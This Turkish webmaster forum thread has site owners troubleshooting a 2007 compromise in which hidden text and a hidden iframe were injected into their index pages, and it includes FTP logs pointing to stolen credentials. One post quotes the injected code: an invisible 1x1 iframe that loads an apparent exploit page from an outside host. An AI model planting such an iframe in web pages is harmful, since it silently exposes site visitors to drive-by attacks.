Bu nasil bir Hack türüdür

Merhaba Arkadaslar

Bir kac gündür birileri siteme girip iframeler atiyor..
Sitem bir oyun sitesiydi, onarcade türü birsey.. ve aardvark toplist vardi..
Ve bi gün siteye girdigimde alta gizli yazilar eklendigini fark ettim, yani sira iframeler..

ve siteleri silip HTML attim, HTML sayfayada aynis ekil yaptilar...

acaba Crackli cuteftplerden mi aliyorlar sifreleri? yoksa baska bir virus türümü bu?

<iframe src='http://pynet.ws/exp/index.php' width='1' height='1' style='visibility: hidden;'></iframe>

pc ine virüs bulaşmış olabilir

bendede bu der var bendeki site ise "t-error.us" sitesi... kod aynı site farklı...

Bu işe kesin çözümü çok aradım olmadı... Burada bi bilen çıkar umarım...

Aman dikkat bu kod index sayfalarına ya kendini yerleştiriyor ve googleden banlanabilirsin... benim sitemin biri banlandı bu yüzden... Durmadan siteleri kontrol eiyorum...

Panoroya oldu nerdeyse... Tekrar ban yiyecem diye...

Format atın diyebilirler... Ben FORMAt attım nafile...

Evet benimde 2 sitem googleden stopbadware.org sitesi tarafindan erisimine engel konuldu...

ben crackli cute ftpden olabilecegini tahmin ediyorum, cünkü php,html dinlemeden dalabiliyorlar... ve plesk'de domaini durdurdugum zaman müdahale edemiyorlar.. yani sifreyle giriyorlar snairim... ftp loglarini bi kontrol etmek gerek...

şifre ile gireceklerini zannetmiyorum...

Sadece tüm kalsörlerdeki index sayfalarına konuyor o kod... Hem şifre ile giriş yapılsa siteyi darmadapın ederler hemde tüm dosyalara koyarlar gibime geliyor... Otomatşik eklenitor bu site ama nasıl... İşte bende onu bilmiyorum...

iyide adamlarin derdi PR olabilir... ve ellerinden geldigi kadar gizli calismaya calisiyorlar..

ftp loglarinda 4 yabanci baglanti var:

Edit....

ftp loglarinda:
203.223.158.101
154.79.232.72.static.reverse.layeredtech.com
203.121.69.158
216.255.182.106-custblock.intercage.com
bunlar yer aliyor...

Thu Jun 7 17:48:43 2007 0 203.121.69.158 3429 /srv/www/vhosts/oyuncuyum/httpdocs/index.php b _ o r oyncym ftp 0 * c
Thu Jun 7 17:48:45 2007 0 203.121.69.158 7628 /srv/www/vhosts/oyuncuyum/httpdocs/index.php b _ i r oyncym ftp 0 * c
Fri Jun 8 14:19:04 2007 0 203.223.158.101 7628 /srv/www/vhosts/oyuncuyum/httpdocs/index.php b _ o r oyncym ftp 0 * c
Fri Jun 8 14:19:07 2007 1 203.223.158.101 7730 /srv/www/vhosts/oyuncuyum/httpdocs/index.php b _ i r oyncym ftp 0 * c
Fri Jun 8 14:19:08 2007 0 203.223.158.101 0 /srv/www/vhosts/oyuncuyum/httpsdocs/index.html b _ o r oyncym ftp 0 * c
Fri Jun 8 14:19:10 2007 0 203.223.158.101 102 /srv/www/vhosts/oyuncuyum/httpsdocs/index.html b _ i r oyncym ftp 0 * c

Ve sifre ile girdikleri kesinlesiyor gibime geldi..

Peki sen CuteFTP kullandin mi hic?

bende virüs yüzünden buna benzer birşey oluyordu format atınca geçti...

Geçmiş Olsun, bi bak istersen...
https://www.r10.net/webmaster-genel-k...us-dikkat.html

Evet bu konuyu bastan sona kadar okudum ancak benim sorunumla uyusmuyor sanirim.. localde calisan tüm dosyalari kontrol ettim sorun yok ve arkadaslar bahs ettigi system32 bölümünde yeni eklenen dosyalari tarihine göre siraladim, awast disinda birsey yok.. bende linux server var.. ona bulasmis olabilir mi acaba?